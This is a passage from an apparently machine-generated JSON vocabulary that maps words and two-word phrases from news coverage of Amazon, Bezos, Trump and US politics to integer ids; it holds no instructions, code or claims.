michele": 124920, "preschoolers": 124921, "explains begin": 124922, "potential actions": 124923, "classes feb": 124924, "history tongue": 124925, "ignite talk": 124926, "opinion conservatives": 124927, "marketwatch barbara": 124928, "crow cat": 124929, "121 points": 124930, "approaching": 124931, "white lives": 124932, "reaping": 124933, "permos_as png": 124934, "company opened": 124935, "company trying": 124936, "victory new": 124937, "introduced measure": 124938, "members toinvoke": 124939, "anne": 124940, "tweeted bezos": 124941, "revenue online": 124942, "associates according": 124943, "trump xi": 124944, "perverted economic": 124945, "ronayne ap": 124946, "service massive": 124947, "increase enormously": 124948, "fortunate": 124949, "daily financial": 124950, "solution": 124951, "group analysts": 124952, "political strategist": 124953, "periodically": 124954, "incredible local": 124955, "independent business": 124956, "aide taped": 124957, "jan 2017": 124958, "says marcus": 124959, "fed monetary": 124960, "border patrol": 124961, "gold mena": 124962, "incentives bonanza": 124963, "foods groceries": 124964, "short form": 124965, "nation capital": 124966, "dennis muilenburg": 124967, "sparked fierce": 124968, "refugee commission": 124969, "state brooke": 124970, "price bringing": 124971, "accessory": 124972, "turkey bacon": 124973, "parameswaran": 124974, "usps helping": 124975, "reserve official": 124976, "summit venezuela": 124977, "kenneth": 124978, "warehouses": 124979, "paterson argument": 124980, "canadian viewers": 124981, "clearly hates": 124982, "georgia voter": 124983, "european elections": 124984, "break 100bn": 124985, "authorities dropped": 124986, "doing really": 124987, "momentum phase": 124988, "youthful looks": 124989, "drama": 124990, "acco leaked": 124991, "feds investigating": 124992, "forward wsj": 124993, "oscars": 124994, "piketty argued": 124995, "immigration oracle": 124996, "compromise fails": 124997, "notably trump": 124998, "supporting innovation": 124999, "citing false": 125000, "pro football": 125001, "tweets stand": 125002, "latest spark": 125003, "kohl nordstrom": 125004, "graffiti targeting": 125005, "cow farts": 125006, "zinke oversees": 125007, "company worth": 125008, "nationalist wave": 125009, "answer follow": 125010, "analyzed federal": 125011, "yuma sun": 125012, "gandhi": 125013, "spots nvidia": 125014, "chicago condo": 125015, "office source": 125016, "proposed slashing": 125017, "medical clinic": 125018, "publicly": 125019, "lawg": 125020, "watch national": 125021, "able tweets": 125022, "thenational": 125023, "including setting": 125024, "unions empowered": 125025, "issue sleep": 125026, "loyalty truth": 125027, "yang believes": 125028, "doing aetna": 125029, "streaming nratv": 125030, "targettype": 125031, "crisis china": 125032, "duties according": 125033, "senate committee": 125034, "water clothes": 125035, "angeles airs": 125036, "chose brian": 125037, "pick fight": 125038, "personal boss": 125039, "marketwatch kellyanne": 125040, "highly profitable": 125041, "dems work": 125042, "companies peek": 125043, "office ibama": 125044, "organized media": 125045, "just replace": 125046, "amazon born": 125047, "various online": 125048, "net amazon": 125049, "wasn altered": 125050, "numbed citizens": 125051, "drives comcast": 125052, "boondoggles": 125053, "corporations member": 125054, "infrastructure woes": 125055, "news brief": 125056, "lawyer filed": 125057, "istanbul embassy": 125058, "early childhood": 125059, "leapt ahead": 125060, "presley ann": 125061, "mature president": 125062, "minister ricardo": 125063, "arena key": 125064, "feels continual": 125065, "low tolerance": 125066, "tyhee": 125067, "romanian": 125068, "robotic gunslinger": 125069, "control kids": 125070, "bernard": 125071, "netapp shares": 125072, "liz rolnik": 125073, "cost says": 125074, "josh marshall": 125075, "elections making": 125076, "wrote charlie": 125077, "operations rebuked": 125078, "fund edf": 125079, "huang arloc": 125080, "8000": 125081, "enormous anger": 125082, "massive amazon": 125083, "replace": 125084, "john malkovich": 125085, "new scandal": 125086, "photos election": 125087, "best face": 125088, "leaning critics": 125089, "situation": 125090, "moment bringing": 125091, "carve": 125092, "essentially operating": 125093, "carouselcontentitems jquery": 125094, "southern reach": 125095, "toot": 125096, "achieve new": 125097, "feel compelled": 125098, "event happens": 125099, "character bezos": 125100, "l6 body": 125101, "kick ass": 125102, "log cabin": 125103, "classification guidance": 125104, "bezos purports": 125105, "consumption barely": 125106, "created 900": 125107, "single love": 125108, "theme year": 125109, "2016 fears": 125110, "mt dec": 125111, "veryfavorable": 125112, "apparent reference": 125113, "premier league": 125114, "political ascent": 125115, "sanitation facility": 125116, "big year": 125117, "press freedoms": 125118, "activists create": 125119, "raised capital": 125120, "product development": 125121, "parkside": 125122, "juxtaposition": 125123, "sutton craig": 125124, "legal circles": 125125, "organization focused": 125126, "trending socialist": 125127, "ngan": 125128, "busy extolling": 125129, "surprisingly large": 125130, "including procter": 125131, "timed google": 125132, "sounds familiar": 125133, "demand hot": 125134, "suited": 125135, "planning strategist": 125136, "daily doses": 125137, "impartial enterprise": 125138, "paying habits": 125139, "raises significant": 125140, "allegedly buried": 125141, "collusion fairy": 125142, "trump inured": 125143, "containers traveling": 125144, "score settling": 125145, "sauces according": 125146, "usps trump": 125147, "forrester senior": 125148, "shop amazon": 125149, "comment key": 125150, "shadows low": 125151, "umbrellas": 125152, "window function": 125153, "rogoff": 125154, "fishin time": 125155, "32003002962": 125156, "company partners": 125157, "sending share": 125158, "stone proceeded": 125159, "jewel samad": 125160, "continue innovating": 125161, "winner focuses": 125162, "story apnewsbreak": 125163, "publishing interests": 125164, "bank totaling": 125165, "semitic propaganda": 125166, "status 1021388295618682881": 125167, "home flipping": 125168, "called tech": 125169, "growing customer": 125170, "having jared": 125171, "tyranny vaccination": 125172, "customers sells": 125173, "reliably pick": 125174, "120k": 125175, "quashed stories": 125176, "media conference": 125177, "island unleashed": 125178, "working age": 125179, "cities pittsburgh": 125180, "injector": 125181, "inc_headline flying": 125182, "city talent": 125183, "mailbag": 125184, "retailers stocking": 125185, "california state": 125186, "dwindle": 125187, "walk impersonating": 125188, "froome wins": 125189, "continue amazon": 125190, "awscloud": 125191, "oct senate": 125192, "bagua": 125193, "pictures unless": 125194, "pillpack offers": 125195, "contract mijente": 125196, "schiff cited": 125197, "receipts rule": 125198, "challenges": 125199, "groundbreaking paper": 125200, "chain attack": 125201, "rape payne": 125202, "encinitas california": 125203, "ramsay cowen": 125204, "tweets mccabe": 125205, "published writers": 125206, "sas": 125207, "2000 new": 125208, "rekognition east": 125209, "lighting": 125210, "oscar blogging": 125211, "post triggered": 125212, "hot takes": 125213, "hotels": 125214, "began lobbying": 125215, "inquiries related": 125216, "story lira": 125217, "dirty secret": 125218, "magazine breakfast": 125219, "platform match": 125220, "intel": 125221, "concluded microsoft": 125222, "mulling sequel": 125223, "unfair prices": 125224, "services assurances": 125225, "278708": 125226, "nearby queens": 125227, "photo rusting": 125228, "amazon subtly": 125229, "shimmied": 125230, "cable network": 125231, "intimate texts": 125232, "000 women": 125233, "celebrated chef": 125234, "don cheadle": 125235, "recommend administrative": 125236, "president ken": 125237, "harper": 125238, "allegedly told": 125239, "justice raymond": 125240, "provide necessary": 125241, "regional subsidiary": 125242, "amherst watson": 125243, "criticise amazon": 125244, "milkshakes": 125245, "hawk": 125246, "killed scarborough": 125247, "selfies showed": 125248, "major supreme": 125249, "controlled western": 125250, "questionable sexting": 125251, "gracie mansion": 125252, "food supplies": 125253, "expert revealed": 125254, "photo brennan": 125255, "latest attack": 125256, "affiliation": 125257, "feb amazon": 125258, "added large": 125259, "bought greater": 125260, "cain 2019": 125261, "rate policy": 125262, "tearing": 125263, "simone": 125264, "bag hanger": 125265, "amazon bestseller": 125266, "pentagon sbd": 125267, "dish best": 125268, "alesci": 125269, "week community": 125270, "postal service": 125271, "price action": 125272, "food remembering": 125273, "unmistakable": 125274, "avatar": 125275, "legal opinions": 125276, "u9 var": 125277, "amazon corner": 125278, "comey trump": 125279, "compares": 125280, "netflix documentary": 125281, "plying": 125282, "stocks valuations": 125283, "apocryphal ancient": 125284, "later opted": 125285, "usps operations": 125286, "intraday": 125287, "equal application": 125288, "deserve rep": 125289, "tolerate": 125290, "converts": 125291, "portland": 125292, "hand corporate": 125293, "microsoft acquisition": 125294, "instead going": 125295, "anticompetitive practices": 125296, "kavanaugh kind": 125297, "evaluate": 125298, "continuing evolution": 125299, "net losses": 125300, "job seeking": 125301, "grave transcription": 125302, "mail deals": 125303, "earners including": 125304, "witnessing": 125305, "partners dsps": 125306, "unloading seafood": 125307, "unreality campaign": 125308, "7ymfthieh5": 125309, "phoenix rally": 125310, "bigstock": 125311, "ignored security": 125312, "today lingo": 125313, "net 2019": 125314, "unauthorized bootleg": 125315, "anchor george": 125316, "indonesia quake": 125317, "husband oscar": 125318, "appears intent": 125319, "authority meaning": 125320, "kill scheme": 125321, "people stoped": 125322, "successful thriving": 125323, "reported 272": 125324, "europeans want": 125325, "fewer letters": 125326, "care spending": 125327, "owns amazon": 125328, "hurt recruiting": 125329, "finances new": 125330, "favor time": 125331, "barbecue restaurant": 125332, "really company": 125333, "amazon choosing": 125334, "queens chamber": 125335, "hired department": 125336, "tonight sue": 125337, "chartstyletoggle": 125338, "favorite tropes": 125339, "series called": 125340, "attacked ceo": 125341, "copyright 2019": 125342, "eu deal": 125343, "launches free": 125344, "leaders compared": 125345, "shift money": 125346, "wildfires trial": 125347, "marketwatchers": 125348, "amazon boldest": 125349, "oaktree": 125350, "early facebook": 125351, "grant licenses": 125352, "reviewed right": 125353, "dangerous organizations": 125354, "precarious financial": 125355, "overhyped": 125356, "news tonya": 125357, "passed allowing": 125358, "domain videocardcontents": 125359, "periods price": 125360, "derisive expletive": 125361, "weddings": 125362, "week bourses": 125363, "booth": 125364, "senate legislation": 125365, "sanders defended": 125366, "anfbi official": 125367, "ultimately want": 125368, "examples children": 125369, "2xvkay2gyo matthew": 125370, "collecting online": 125371, "aws angelica": 125372, "guru scott": 125373, "salvini hopes": 125374, "house energy": 125375, "shut": 125376, "possible violations": 125377, "city marathon": 125378, "lover sanchez": 125379, "picture braithwaite": 125380, "ridesharing": 125381, "customers looking": 125382, "rekognition uses": 125383, "term fake": 125384, "finance successful": 125385, "business models": 125386, "wife ivana": 125387, "premium auto": 125388, "meet profitability": 125389, "jill nguyen": 125390, "chowhound": 125391, "estate investing": 125392, "convergence": 125393, "care sanitation": 125394, "amazon establishing": 125395, "massive stop": 125396, "percolate": 125397, "mcnally writes": 125398, "current conditions": 125399, "plentyof": 125400, "extremely dark": 125401, "kelly wedding": 125402, "political context": 125403, "content providers": 125404, "robots company": 125405, "bid competitor": 125406, "god forbid": 125407, "implementation details": 125408, "amazon berkshire": 125409, "reduce conflicts": 125410, "biggest online": 125411, "acquire xpo": 125412, "expand gender": 125413, "ministers meeting": 125414, "becker assertion": 125415, "shopware": 125416, "drove": 125417, "emmert afp": 125418, "revisit highlight": 125419, "department plans": 125420, "slim": 125421, "status 1040253796293795842": 125422, "647": 125423, "withholds": 125424, "faceted": 125425, "global": 125426, "called hoax": 125427, "nation backbone": 125428, "arlington": 125429, "dow climbed": 125430, "adherent": 125431, "impact airports": 125432, "meeting president": 125433, "rafe": 125434, "theenquirer": 125435, "usps": 125436, "primarily backed": 125437, "previously pledged": 125438, "version static": 125439, "free consultation": 125440, "dinged": 125441, "prepared food": 125442, "connecting people": 125443, "companies help": 125444, "headquarters philadelphia": 125445, "frances far": 125446, "single crap": 125447, "freezing point": 125448, "inquiry": 125449, "doorman": 125450, "contains numerous": 125451, "time working": 125452, "time nbsp": 125453, "wow": 125454, "pressing hard": 125455, "tablet magazine": 125456, "rival flipkart": 125457, "sources postmaster": 125458, "anonymized": 125459, "ago doesn": 125460, "aide omarosa": 125461, "aston martin": 125462, "day maintenance": 125463, "spotlight director": 125464, "martel": 125465, "efforts": 125466, "boots": 125467, "long horror": 125468, "net morwenna": 125469, "repeatedly commented": 125470, "retail centers": 125471, "lhin catchment": 125472, "secluded street": 125473, "agencies workers": 125474, "pentagon plans": 125475, "nydia vel\u00e1zquez": 125476, "canada supports": 125477, "primary competitor": 125478, "occupied public": 125479, "nation john": 125480, "interaction rate": 125481, "cortez image": 125482, "success hasn": 125483, "government systems": 125484, "troublesome obstacles": 125485, "opposition appointed": 125486, "isn going": 125487, "impeachable offense": 125488, "certain things": 125489, "rules cssrules": 125490, "u8 u8": 125491, "reached bestseller": 125492, "buying walmart": 125493, "tumbles": 125494, "rules hey": 125495, "commission credit": 125496, "read echo": 125497, "prime memberships": 125498, "retailer amazon": 125499, "9th district": 125500, "rural conservatives": 125501, "percoco trump": 125502, "molding methods": 125503, "alka seltzer": 125504, "albertson": 125505, "seniors reportedly": 125506, "hile": 125507, "apply critical": 125508, "conditions amazonwearenotrobots": 125509, "bezos life": 125510, "rockaway": 125511, "herera broadband": 125512, "adviser carter": 125513, "salma hayek": 125514, "resilience": 125515, "patchen": 125516, "government contract": 125517, "voting block": 125518, "gmt senate": 125519, "comment print": 125520, "ardern new": 125521, "hate products": 125522, "proudly proclaimed": 125523, "future taxable": 125524, "deal ibm": 125525, "shouted questions": 125526, "air freshener": 125527, "demonstrators": 125528, "including fingerprint": 125529, "inc_full_width_read_moreflag false": 125530, "national stock": 125531, "ills": 125532, "technology makes": 125533, "silence unfriendly": 125534, "amazon partners": 125535, "note consumers": 125536, "directly aimed": 125537, "green energy": 125538, "billion problem": 125539, "project maven": 125540, "people ought": 125541, "malley airs": 125542, "loveland": 125543, "deftly plays": 125544, "amenable": 125545, "incessantly": 125546, "mortgage buyer": 125547, "insider zapolsky": 125548, "associate gives": 125549, "digital home": 125550, "muslims president": 125551, "essays": 125552, "usually aim": 125553, "giving 98point6": 125554, "trump highlights": 125555, "elisabeth moss": 125556, "mia warren": 125557, "society": 125558, "initialize": 125559, "chris pine": 125560, "lapd detective": 125561, "vz shares": 125562, "proposed taxpayer": 125563, "government especially": 125564, "company invests": 125565, "prospect": 125566, "amidst violent": 125567, "amazon achievements": 125568, "trump delayed": 125569, "metastasize bezos": 125570, "monthly support": 125571, "futility": 125572, "startup incubator": 125573, "tolls wouldn": 125574, "reuters brand": 125575, "long described": 125576, "opposition number": 125577, "genetalia": 125578, "agenda don": 125579, "reports rich": 125580, "refugee admissions": 125581, "young son": 125582, "asking foreign": 125583, "abate": 125584, "community international": 125585, "potentially saved": 125586, "average clients": 125587, "provisions taking": 125588, "recent study": 125589, "600 stores": 125590, "stone page": 125591, "fear \u0430bob": 125592, "rare trump": 125593, "categories short": 125594, "62b euro": 125595, "favorite kind": 125596, "charitable donations": 125597, "don lose": 125598, "house deemed": 125599, "asking taxpayers": 125600, "dividends net": 125601, "sex marriage": 125602, "country experienced": 125603, "wedding ceremony": 125604, "knocked": 125605, "comeback bid": 125606, "collects taxes": 125607, "dissolving marriage": 125608, "house new": 125609, "liberties group": 125610, "flared": 125611, "drops gates": 125612, "midland adm": 125613, "successful tv": 125614, "z4 o2x": 125615, "considering cutting": 125616, "residents small": 125617, "ethics reform": 125618, "japantaxi": 125619, "science technocrats": 125620, "caravan delivery": 125621, "implements price": 125622, "russia investigation": 125623, "notre dame": 125624, "greenfield told": 125625, "bengali": 125626, "corporation nyse": 125627, "drone program": 125628, "frequently rails": 125629, "seattle city": 125630, "city journalist": 125631, "tin box": 125632, "way regardless": 125633, "votes wishing": 125634, "rest win": 125635, "comprehensive piece": 125636, "affordable college": 125637, "john rockefeller": 125638, "2016 speaking": 125639, "prologue": 125640, "judges": 125641, "dale ddale8": 125642, "markets managing": 125643, "latino voter": 125644, "appropriately attribute": 125645, "criminal record": 125646, "lawsuit donald": 125647, "aiken": 125648, "cop jake": 125649, "depend solely": 125650, "ranchers": 125651, "characters running": 125652, "swat standoff": 125653, "neighbourhood": 125654, "immiserating": 125655, "throw unable": 125656, "headlinetext snl": 125657, "altogether related": 125658, "mere days": 125659, "amazon minimum": 125660, "smelled swamp": 125661, "errors snow": 125662, "giant donning": 125663, "migrants": 125664, "untimely death": 125665, "impossible storyline": 125666, "support dispute": 125667, "yeezy": 125668, "better management": 125669, "gyllenhaal including": 125670, "amazon commerce": 125671, "correction": 125672, "taxing amazon": 125673, "complex businesses": 125674, "vox lux": 125675, "facebook plunged": 125676, "soybean farmers": 125677, "tainted cross": 125678, "bks": 125679, "amazon drones": 125680, "2017 mark": 125681, "bezos circle": 125682, "46th": 125683, "keir": 125684, "calendars": 125685, "jontalton jon": 125686, "salesforces": 125687, "federal bureau": 125688, "named matthew": 125689, "pleasing": 125690, "software known": 125691, "sanchez pro": 125692, "kristol": 125693, "300 people": 125694, "fred hutchinson": 125695, "ben shahar": 125696, "westneat marveled": 125697, "trump condemnation": 125698, "mulls gag": 125699, "mode near": 125700, "amazon low": 125701, "activators market": 125702, "nobusinesswithice": 125703, "jon allsop": 125704, "succeeded apple": 125705, "internet subway": 125706, "savings changes": 125707, "palmiotto": 125708, "halt bezos": 125709, "fool singapore": 125710, "trump grew": 125711, "wattpad": 125712, "lane moore": 125713, "probably betweenalexandria": 125714, "threaten abortion": 125715, "planning board": 125716, "german stocks": 125717, "meaningful cause": 125718, "kevin curry": 125719, "advise cbp": 125720, "aviva": 125721, "shelter sidebar": 125722, "alternative ways": 125723, "women correctional": 125724, "fierce campaign": 125725, "jair schmitt": 125726, "cramer longtime": 125727, "auto aap": 125728, "year struck": 125729, "boeing dennis": 125730, "apple owed": 125731, "including affordable": 125732, "free meaning": 125733, "bigoted": 125734, "2018 buffett": 125735, "policy announcing": 125736, "catholicedchat": 125737, "specifically tailored": 125738, "burn lot": 125739, "healthier lifestyles": 125740, "gop split": 125741, "pledged": 125742, "simply moved": 125743, "shown willingness": 125744, "steven overly": 125745, "comments time": 125746, "getting hq2": 125747, "media alleged": 125748, "actions": 125749, "compass bancshares": 125750, "york pols": 125751, "isolated": 125752, "huge profits": 125753, "establish amazon": 125754, "domestic sales": 125755, "nations": 125756, "huh remind": 125757, "trump photos": 125758, "care forum": 125759, "gossip dates": 125760, "overlooked": 125761, "lindsey": 125762, "imperial": 125763, "resources taxpayer": 125764, "genetically engineered": 125765, "toddler having": 125766, "unify trump": 125767, "loss delrahim": 125768, "main clients": 125769, "market conversely": 125770, "lead threatened": 125771, "threats facing": 125772, "probably true": 125773, "just try": 125774, "democrats retook": 125775, "8th wapo": 125776, "welcomes additional": 125777, "powerful super": 125778, "hurd commercial": 125779, "img_gallery_imageref": 125780, "camps passes": 125781, "delagrave": 125782, "assistance received": 125783, "vendors say": 125784, "doozy according": 125785, "mccabe speaks": 125786, "really irritate": 125787, "reproductive rights": 125788, "cha": 125789, "potomac river": 125790, "dollar money": 125791, "time firearm": 125792, "howie carr": 125793, "packages containing": 125794, "gathering capabilities": 125795, "forfederal contractors": 125796, "choice words": 125797, "susanne": 125798, "cellphone info": 125799, "alphabet investors": 125800, "aktiengesellschaft": 125801, "forgets": 125802, "stonecrest mayor": 125803, "video series": 125804, "spectator uses": 125805, "letter maloney": 125806, "just larger": 125807, "association maybe": 125808, "skeptical handling": 125809, "aesthetic gifts": 125810, "schumer announced": 125811, "frequent criticism": 125812, "report contained": 125813, "trump resumes": 125814, "alexa knows": 125815, "priority list": 125816, "conding": 125817, "director kevin": 125818, "toxic workplace": 125819, "davis think": 125820, "status checks": 125821, "2016election": 125822, "business economy": 125823, "dw france": 125824, "session means": 125825, "air army": 125826, "control tend": 125827, "effort defeated": 125828, "based seeno": 125829, "linnane 415": 125830, "gizmodo follows": 125831, "48bnguvivs": 125832, "looks impressive": 125833, "spawned host": 125834, "y1 a4ee": 125835, "berkshire": 125836, "brazilian ministers": 125837, "identity 8211": 125838, "book art": 125839, "panned ad": 125840, "phenomenon amazon": 125841, "isnt": 125842, "ongoing twitter": 125843, "movement reached": 125844, "misleading portrait": 125845, "language alleging": 125846, "deputyattorney": 125847, "information sources": 125848, "sequels": 125849, "opposition chris": 125850, "googl rode": 125851, "boosting user": 125852, "berenberg warned": 125853, "lee": 125854, "corrupts": 125855, "astoria houses": 125856, "industry lobbyists": 125857, "zuker ongoing": 125858, "approximately million": 125859, "matt cagle": 125860, "structural reform": 125861, "castle": 125862, "jedi know": 125863, "included despite": 125864, "roots pioneered": 125865, "asserted federal": 125866, "aging infrastructure": 125867, "pursue disruption": 125868, "russian activities": 125869, "india commerce": 125870, "policies simotas": 125871, "ending dizzying": 125872, "foreign market": 125873, "discussion surrounding": 125874, "wheeling": 125875, "trump playing": 125876, "range": 125877, "market pricing": 125878, "weeks kim": 125879, "institute screening": 125880, "kentucky air": 125881, "production says": 125882, "norma rae": 125883, "help shore": 125884, "constellation": 125885, "unintentionally hilarious": 125886, "government takes": 125887, "morning oracle": 125888, "trump limiting": 125889, "tirades according": 125890, "think garamendi": 125891, "china goal": 125892, "business nytimes": 125893, "kavanaugh usa": 125894, "wynn resorts": 125895, "unfavorable reviews": 125896, "report postmaster": 125897, "holocaust centers": 125898, "activated home": 125899, "billion unchanged": 125900, "local democrats": 125901, "sites think": 125902, "unveiled": 125903, "expiration date": 125904, "sixteen year": 125905, "spokesperson": 125906, "branded properties": 125907, "reboot money": 125908, "group told": 125909, "book briefly": 125910, "materials entitled": 125911, "url jquery": 125912, "strategic": 125913, "time trump": 125914, "recent baltic": 125915, "investors took": 125916, "large text": 125917, "caps shirts": 125918, "strategy propel": 125919, "netflixs maniac": 125920, "hq2 backlash": 125921, "fundstrat global": 125922, "tech elizabeth": 125923, "private emails": 125924, "shopping engine": 125925, "price index": 125926, "toronto star": 125927, "stumbled little": 125928, "included list": 125929, "cheaper price": 125930, "function var": 125931, "charge patients": 125932, "medical group": 125933, "singapore writer": 125934, "rocky driveway": 125935, "result": 125936, "crash sends": 125937, "incident wiped": 125938, "oil trophy": 125939, "british arm": 125940, "recently cast": 125941, "intelligence investigation": 125942, "learning pioneering": 125943, "taxes refuses": 125944, "sole determining": 125945, "journalistic standards": 125946, "withstand external": 125947, "fixing cartel": 125948, "sell taxable": 125949, "intensely uncomfortable": 125950, "family tradition": 125951, "straightforward": 125952, "assumed outsized": 125953, "rightful": 125954, "escalating dick": 125955, "shambles": 125956, "earnings amazon": 125957, "power plant": 125958, "sharrett": 125959, "past deals": 125960, "antagonize": 125961, "jacob derwin": 125962, "trump despises": 125963, "expressing regret": 125964, "especially worth": 125965, "surivor": 125966, "perturbed": 125967, "pros fretting": 125968, "watch docu": 125969, "owned construction": 125970, "new brand": 125971, "kunduz afghanistan": 125972, "union work": 125973, "annual cap": 125974, "week midterm": 125975, "hall assembly": 125976, "casual": 125977, "amazonuk": 125978, "shifted focus": 125979, "aggressively criticized": 125980, "nelson lawyers": 125981, "talk justawittybit": 125982, "dujovne": 125983, "net deficiency": 125984, "walk": 125985, "espaillat": 125986, "ubiquitous digital": 125987, "antitrust authorities": 125988, "apologized wapo": 125989, "r4ee e5e": 125990, "torv married": 125991, "surcharges": 125992, "duties driving": 125993, "nintendo": 125994, "charles schwab": 125995, "remains far": 125996, "misleading tweets": 125997, "month critics": 125998, "vibrams": 125999, "establish high": 126000, "deliveroo london": 126001, "postrecession malaise": 126002, "phone case": 126003, "contrarian buying": 126004, "marketing expense": 126005, "slashing overseas": 126006, "dubbed buff": 126007, "crown castle": 126008, "length 77482": 126009, "outrage trump": 126010, "earliest": 126011, "clubs given": 126012, "government competition": 126013, "feel look": 126014, "accept cut": 126015, "direct orders": 126016, "pays sources": 126017, "bic": 126018, "face surveillance": 126019, "smart goggles": 126020, "look uber": 126021, "seized": 126022, "markets represent": 126023, "retail dive": 126024, "shares academy": 126025, "corporate instinct": 126026, "issuing report": 126027, "monetisation": 126028, "reached level": 126029, "home equity": 126030, "shop economy": 126031, "progressive income": 126032, "verification": 126033, "lull": 126034, "started emotionally": 126035, "brian olsavsky": 126036, "republicans botched": 126037, "8000 6000": 126038, "point park": 126039, "anti trumpers": 126040, "republicans tax": 126041, "zondo wraps": 126042, "consensus fourth": 126043, "official explains": 126044, "xpo logistics": 126045, "sick": 126046, "steel mills": 126047, "strauss hauer": 126048, "described political": 126049, "bedroom action": 126050, "serrano drafted": 126051, "surmise": 126052, "video_duration 1iq5vw0": 126053, "watch amazon": 126054, "conservative union": 126055, "braithwaite doubleday": 126056, "digital presence": 126057, "people work": 126058, "1557et": 126059, "user community": 126060, "hottest amazon": 126061, "married couples": 126062, "allowing single": 126063, "master guide": 126064, "insistent woman": 126065, "bartiromo liz": 126066, "past initiatives": 126067, "jobs nolan": 126068, "week international": 126069, "youtube carlos": 126070, "jefferson graham": 126071, "netease": 126072, "spaceflight": 126073, "michael reynolds": 126074, "abroad trump": 126075, "segundo calif": 126076, "obama thinks": 126077, "decisions don": 126078, "awaken": 126079, "ranking saw": 126080, "echo listened": 126081, "buzzfeed editor": 126082, "mysterious death": 126083, "promise": 126084, "hired private": 126085, "halloween message": 126086, "online streaming": 126087, "peters executive": 126088, "bolsonaro takes": 126089, "lo forklift": 126090, "book david": 126091, "billion firm": 126092, "smarten": 126093, "digital service": 126094, "dp b07f7svpw4": 126095, "rams vikings": 126096, "named cease": 126097, "deferred tax": 126098, "journal cfo": 126099, "neck earlier": 126100, "expanded selection": 126101, "techfreedom": 126102, "pay upwards": 126103, "vermont unveiled": 126104, "highest standard": 126105, "deal following": 126106, "digital jealousy": 126107, "ecco feast": 126108, "saw tremendous": 126109, "better sanders": 126110, "order launching": 126111, "store park": 126112, "powerhouses goldman": 126113, "vehicle": 126114, "belching smoke": 126115, "areas currently": 126116, "just allege": 126117, "just economics": 126118, "ways panelists": 126119, "wealthiest corporations": 126120, "formally begin": 126121, "vikram": 126122, "retail sea": 126123, "confusing braindead": 126124, "agencies follow": 126125, "unit chief": 126126, "degrading": 126127, "faced picketing": 126128, "clich\u00e9s": 126129, "lantern": 126130, "catalog thrilled": 126131, "great pair": 126132, "james patchett": 126133, "route amazon": 126134, "microsoft chipped": 126135, "began probing": 126136, "holder dream": 126137, "space symposium": 126138, "halted": 126139, "restaurant delivery": 126140, "videocardcontents url": 126141, "presidential just": 126142, "tech cnbc": 126143, "ink": 126144, "reported read": 126145, "resigned foreign": 126146, "away investors": 126147, "distortion": 126148, "barry cohen": 126149, "freshman class": 126150, "notable politicos": 126151, "court pick": 126152, "news best": 126153, "time_updated": 126154, "mds face": 126155, "000 deductible": 126156, "purchasing journey": 126157, "secret government": 126158, "people gudiel": 126159, "supposedly level": 126160, "luck trump": 126161, "isolate israel": 126162, "having reduced": 126163, "brian haven": 126164, "answer surveys": 126165, "avoid corporate": 126166, "founder": 126167, "operative lee": 126168, "delivery main": 126169, "favorite memories": 126170, "amazon max": 126171, "misuse": 126172, "entendre headlines": 126173, "certain goods": 126174, "lendio shows": 126175, "dicey": 126176, "cargo delivery": 126177, "notably realdonaldtrump": 126178, "tabloid affair": 126179, "year reaching": 126180, "frontier": 126181, "wildfires israel": 126182, "tackles slew": 126183, "arizona sinema": 126184, "en madrid": 126185, "today consumers": 126186, "sandpaper touch": 126187, "support development": 126188, "report saying": 126189, "private entities": 126190, "worldwideerc org": 126191, "smug comfortablysmug": 126192, "conundrum article": 126193, "berlin funky": 126194, "comparison apple": 126195, "tweeted hopefully": 126196, "democrats plans": 126197, "secrecy experts": 126198, "hickman testified": 126199, "day price": 126200, "allegations easily": 126201, "categories include": 126202, "prayed": 126203, "hospital blood": 126204, "tci": 126205, "biggest passenger": 126206, "environmental organization": 126207, "enroute": 126208, "wallstreetbets board": 126209, "negotiators meet": 126210, "legislative text": 126211, "arts crafts": 126212, "city maitland": 126213, "bylaws": 126214, "video fixed": 126215, "market openings": 126216, "campaign donation": 126217, "rally black": 126218, "isn bothered": 126219, "highs secondly": 126220, "shutdown standoff": 126221, "gov gary": 126222, "mails published": 126223, "cautionary": 126224, "rodriguez": 126225, "global supply": 126226, "wrote amazon": 126227, "hired lobbying": 126228, "capsule": 126229, "digital journey": 126230, "6605745": 126231, "spending lot": 126232, "preservation bloomberg": 126233, "story centres": 126234, "suffering backlash": 126235, "level investigations": 126236, "fighter pilot": 126237, "company death": 126238, "intelligence lab": 126239, "lastmodifiedstate type": 126240, "disorders including": 126241, "ceaselessly": 126242, "chile president": 126243, "account suspensions": 126244, "officials reuters": 126245, "discrepancy want": 126246, "membership program": 126247, "country online": 126248, "hour saw": 126249, "proxies": 126250, "mcdormand": 126251, "65m": 126252, "maggie bullock": 126253, "sort": 126254, "jurisdictions": 126255, "veer": 126256, "wouldn make": 126257, "surveillance agencies": 126258, "bets riding": 126259, "financial malware": 126260, "lewis jacobs": 126261, "week bipartisanship": 126262, "federal justice": 126263, "rents": 126264, "athletica": 126265, "unlikely party": 126266, "ceo glenn": 126267, "mind amazon": 126268, "state legislators": 126269, "donates": 126270, "families nearly": 126271, "snatched away": 126272, "stores pmnts": 126273, "break luckily": 126274, "bezos hack": 126275, "triggers": 126276, "opioids writes": 126277, "international sanctions": 126278, "circular firing": 126279, "tech behemoths": 126280, "family compound": 126281, "alphabet google": 126282, "counterfeit vox": 126283, "flow decline": 126284, "spectator fixation": 126285, "casey sherman": 126286, "place 2018": 126287, "supported hundreds": 126288, "means warren": 126289, "survivor tie": 126290, "parkland heads": 126291, "investigation publicly": 126292, "business ambitions": 126293, "sells item": 126294, "treasury released": 126295, "type card": 126296, "chapter pick": 126297, "selling open": 126298, "appreciated mass": 126299, "carl icahn": 126300, "fargo wfc": 126301, "antitrust regulators": 126302, "vegas yesterday": 126303, "operations jedi": 126304, "honest divine": 126305, "constitutional crisis": 126306, "sainsbury attributes": 126307, "seriously asked": 126308, "paperwork involved": 126309, "photographers": 126310, "instagram youtube": 126311, "popular perk": 126312, "mills makes": 126313, "crafting pointed": 126314, "spending taxpayer": 126315, "senate appoints": 126316, "prison oversight": 126317, "approved parts": 126318, "refined oil": 126319, "competitor dominant": 126320, "marino directed": 126321, "robbery severe": 126322, "administration participated": 126323, "company cloud": 126324, "business processes": 126325, "grabbed market": 126326, "avoided": 126327, "custody terms": 126328, "home builders": 126329, "tonight hollenhorst": 126330, "dana rohrabacher": 126331, "undo lot": 126332, "labor legal": 126333, "busily assembling": 126334, "legitimize termination": 126335, "religious persecution": 126336, "tried inhalants": 126337, "origin jeff": 126338, "shoved": 126339, "maybe chicken": 126340, "included michelle": 126341, "swearing": 126342, "amazon work": 126343, "wrote couple": 126344, "week 